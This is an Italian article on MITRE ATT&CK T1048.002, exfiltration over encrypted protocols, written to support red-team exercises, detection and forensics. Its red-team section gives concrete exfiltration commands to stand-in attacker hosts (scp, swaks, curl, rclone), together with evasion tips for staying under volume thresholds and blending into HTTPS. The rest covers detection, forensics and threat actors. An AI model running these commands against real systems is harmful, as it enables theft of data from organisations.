Esfiltrazione via Canali Cifrati Asimmetrici: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol (T1048.002)

In un ingaggio red team la simulazione di T1048.002 parte dalla scelta di un protocollo che si mimetizzi nel baseline della vittima. HTTPS verso servizi cloud legittimi è la scelta più efficace, seguita da SFTP/SCP per ambienti con amministratori Linux frequenti e SMTPS quando il target ha gateway mail permissivi in uscita.

Su Linux e macOS, Rclone (open source) rappresenta lo strumento canonico e figura direttamente nei dati MITRE come impiegato in attacchi reali. Consente il trasferimento verso decine di backend cloud con supporto nativo per WebDAV su HTTPS e SFTP. Un flusso operativo tipico prevede la configurazione interattiva di un remote con rclone config, seguita dal trasferimento con rclone copy /tmp/loot remote:bucket --transfers 4. L'aggiunta di --bwlimit 1M aiuta a restare sotto le soglie di anomalia volumetrica.

Per esfiltrazione via SCP in stile Storm-1811, la sintassi standard scp -P 443 archive.tar.gz user@attacker-host:/incoming/ consente di riutilizzare la porta 443 e confondersi nel traffico HTTPS a livello di flow analysis, sebbene un'ispezione TLS approfondita distingua i due protocolli.

Su Windows, l'approccio di APT28 e APT29 contro server OWA è replicabile con PowerShell e Invoke-WebRequest, caricando archivi 7z protetti da password su endpoint web autenticati. Il comando *7z a -p -mhe=on loot.7z C:\staging* con l'header encryption abilitato riduce l'esposizione dei metadati. Il successivo Invoke-WebRequest -Uri -Method PUT -InFile loot.7z -Credential $cred completa la catena.

Per scenari SMTPS in stile CURIUM, swaks (open source) permette di orchestrare invii autenticati con allegati: swaks --to drop@attacker.tld --server smtp.provider.tld:465 --tls --auth --attach loot.zip.

In ambienti ESXi, la CLI esxcli network firewall ruleset mostra i servizi in uscita consentiti; da una guest VM compromessa è possibile appoggiarsi a curl (open source) con curl --tlsv1.2 -T loot.tar.gz -u user:pass https://webdav.attacker.tld/.

Per validare la detection lato blue team, l'inclusione di Atomic Red Team (open source) con i test T1048.002 fornisce payload preconfezionati e ripetibili. È buona prassi documentare volumi trasferiti, timing e destinazioni per consentire al SOC di ricostruire ex-post l'esercizio.

La detection di T1048.002 ruota attorno a un principio semplice: il traffico cifrato in uscita non è anomalo di per sé, lo è la combinazione tra il processo che lo genera, la destinazione e il contesto temporale. La regola d'oro è correlare eventi di staging (compressione, accesso a directory sensibili) con connessioni TLS uscenti nella stessa finestra temporale, tipicamente cinque minuti.

Su Windows la telemetria principale arriva da Sysmon (open source): EventCode 1 per la creazione di processi, EventCode 3 per le connessioni di rete e EventCode 11 per la scrittura di archivi. Un'alert efficace innesca quando un processo non-browser (esclusi chrome.exe, msedge.exe, firefox.exe via allowlist) apre una sessione TLS verso un dominio esterno entro pochi minuti dalla creazione di un file .zip, .7z o .rar in percorsi utente. Il tuning richiede BinaryAllowlist per strumenti legittimi come backup agent, OneDrive e client di sync aziendali.

Su Linux la stessa logica si costruisce su auditd con regole SYSCALL su open, read e connect, incrociate con flow NSM. Comandi come curl, wget, python3 o binari custom che iniziano connessioni HTTPS verso destinazioni fuori dal perimetro corporate meritano priorità alta, soprattutto se preceduti da accesso a estensioni sensibili (.db, .xlsx, .sql). La baseline SSLClientProcessBaseline documenta quali binari possono legittimamente aprire socket TLS.

Su macOS la combinazione osquery (open source) più unified log permette di intercettare processi non-browser che iniziano connessioni cifrate. Utile la tabella process_open_sockets correlata a file_events su directory come ~/Documents e ~/Desktop.

Su ESXi la telemetria da hostd e vmkernel consente di intercettare connessioni TLS anomale originate dall'hypervisor o pattern di uscita insoliti dalle guest VM, particolarmente dopo picchi di I/O.

A livello di rete, i controlli MITRE M1031 (Network Intrusion Prevention) e M1037 (Filter Network Traffic) raccomandano proxy TLS con ispezione, denylist di autorità di certificazione non fidate e restrizione delle destinazioni cloud non autorizzate. Un DLP (M1057) integrato a livello di proxy blocca upload contenenti pattern PII o classificazioni sensibili prima che lascino il perimetro.

I falsi positivi principali arrivano da tool di backup cloud, sincronizzazione documentale e aggiornamenti software firmati. La mitigazione è comportamentale: soglia volumetrica OutboundTrafficVolumeThreshold per trigger su trasferimenti superiori a soglie definite (es. 100 MB) verso destinazioni non whitelisted.

L'analisi forense di T1048.002 si sviluppa su tre piani: identificazione dell'archivio esfiltrato, ricostruzione del canale di trasporto e attribuzione della destinazione. Il vantaggio dell'analista è che, pur essendo il payload cifrato in transito, gli artefatti locali di staging e i metadati di rete restano disponibili sull'endpoint.

Su Windows, i punti di partenza sono i Prefetch (*C:\Windows\Prefetch*) per confermare l'esecuzione di 7z.exe, rclone.exe, curl.exe o powershell.exe, correlati con ShimCache e Amcache (Amcache.hve) per l'evidenza di binari droppati temporaneamente. I file system journal — USN Journal e $MFT — permettono di ricostruire la creazione e la successiva cancellazione di archivi staged in C:\Users<user>\AppData\Local\Temp o %PUBLIC%. Gli eventi Sysmon ID 3 forniscono tuple sorgente-destinazione, mentre ID 22 traccia le risoluzioni DNS verso domini di esfiltrazione. Il SRUM (C:\Windows\System32\sru\SRUDB.dat) conserva statistiche di rete per processo, utili per quantificare volumi trasferiti anche a distanza di giorni.

Su Linux, i log auditd offrono la catena syscall completa se configurati con regole su execve e connect. La cronologia della shell (.bash_history, .zsh_history) può contenere comandi rclone, scp o curl con parametri rivelatori. I file di configurazione di rclone in ~/.config/rclone/rclone.conf — se non cancellati — espongono il backend cloud utilizzato, sebbene le credenziali siano tipicamente offuscate. Il journal systemd e i timestamp atime/mtime dei file staged completano la timeline.

Su macOS, gli unified log raccolti con log collect preservano tracce di connessioni TLS e attività dei processi. La Quarantine Database (com.apple.LaunchServices.QuarantineEventsV2) e i KnowledgeC database registrano attività applicative correlabili al periodo di esfiltrazione.

Dal lato rete, i log del proxy TLS o del firewall con ispezione applicativa forniscono destinazioni, volumi e timing anche quando il payload resta illeggibile. I metadati JA3/JA3S delle sessioni TLS possono correlare fingerprint di client sospetti — Rclone e curl hanno fingerprint distinti rispetto ai browser mainstream. Certificate Transparency permette di ricostruire l'infrastruttura di destinazione tramite ricerca storica sui domini osservati.

Nel caso SolarWinds Compromise, la timeline documentata da APT29 mostra archivi 7z protetti da password caricati verso server OWA compromessi delle vittime stesse — un pattern che rende l'attribuzione della destinazione particolarmente insidiosa perché il traffico HTTPS resta interno all'organizzazione bersaglio.

Il ventaglio di attori che adottano T1048.002 riflette una convergenza pragmatica: gruppi con obiettivi e sofisticazione molto diversi convergono su HTTPS e protocolli cifrati asimmetrici perché garantiscono massima blending capacity nel traffico legittimo.

APT28 (Fancy Bear), attribuito al GRU russo, rappresenta l'archetipo dell'attore statale con capacità di lungo respiro. L'uso documentato di esfiltrazione HTTPS da archivi staged su server OWA delle vittime segnala una preferenza per living-off-the-land infrastructure: il gruppo evita di introdurre server C2 aggiuntivi quando può appoggiarsi a componenti già presenti nell'ambiente target, riducendo drasticamente le probabilità di detection basata su reputazione DNS.

APT29 (Cozy Bear), attribuito all'SVR russo, mostra nella SolarWinds Compromise (C0024, 2019-2021) lo stesso pattern portato all'estremo. La campagna — che ha colpito circa 18.000 clienti Orion con follow-on activity su un sottoinsieme molto più ristretto — ha utilizzato archivi 7z protetti da password caricati via HTTPS su server OWA delle vittime. L'attribuzione ufficiale USA/UK dell'aprile 2021 e la nomenclatura industriale (StellarParticle, UNC2452, NOBELIUM, Dark Halo) confermano la centralità di questo gruppo nel panorama cyber-espionage. La scelta di canali cifrati asimmetrici distinti dal C2 è coerente con la sua dottrina operazionale di compartimentazione.

CURIUM (G1012) adotta un approccio differente scegliendo SMTPS come canale di esfiltrazione. Questa preferenza suggerisce un target set con gateway mail permissivi e monitoraggio DLP concentrato su web traffic più che su email uscente — una lacuna difensiva comune in organizzazioni di dimensioni medie.

Storm-1811 (G1046) impiega SCP per esfiltrare credenziali, indicando familiarità con ambienti Linux/Unix e probabile targeting di infrastrutture tecniche (DevOps, cloud engineering) dove SCP è traffico ordinario.

Sul fronte tooling, Rclone (S1040) si è affermato come strumento cross-attore per eccellenza nell'esfiltrazione cloud, adottato da gruppi ransomware e APT senza distinzione. IcedID (S0483), originariamente banking trojan evoluto in initial access broker, integra esfiltrazione HTTPS come componente standard.

Il trend osservabile è la progressiva erosione della distinzione tra crimine finanziario e cyber-espionage nell'adozione di questa tecnica: la commoditizzazione di Rclone e la disponibilità di infrastrutture cloud low-cost hanno abbassato drasticamente la barriera d'ingresso. Le organizzazioni difensive devono assumere che qualsiasi attore, indipendentemente da capacità e motivazione, disponga di questa tecnica nel proprio arsenale.

MITRE ATT&CK: tecnica T1048.002, tattica TA0010, gruppi G0007, G1012, G1046, software S0483 e S1040, campagna C0024 (SolarWinds Compromise), mitigazioni M1030, M1031, M1037, M1057, detection DET0512 (AN1413-AN1416). Riferimenti MITRE D3FEND per Digital Artifacts (Network Traffic, Encrypted Session). Integrata conoscenza professionale per sintassi comandi (Rclone, 7-Zip, curl, swaks, scp), tool open source (Sysmon, auditd, osquery, Atomic Red Team) e artefatti forensi standard (Prefetch, SRUM, USN Journal, unified log macOS).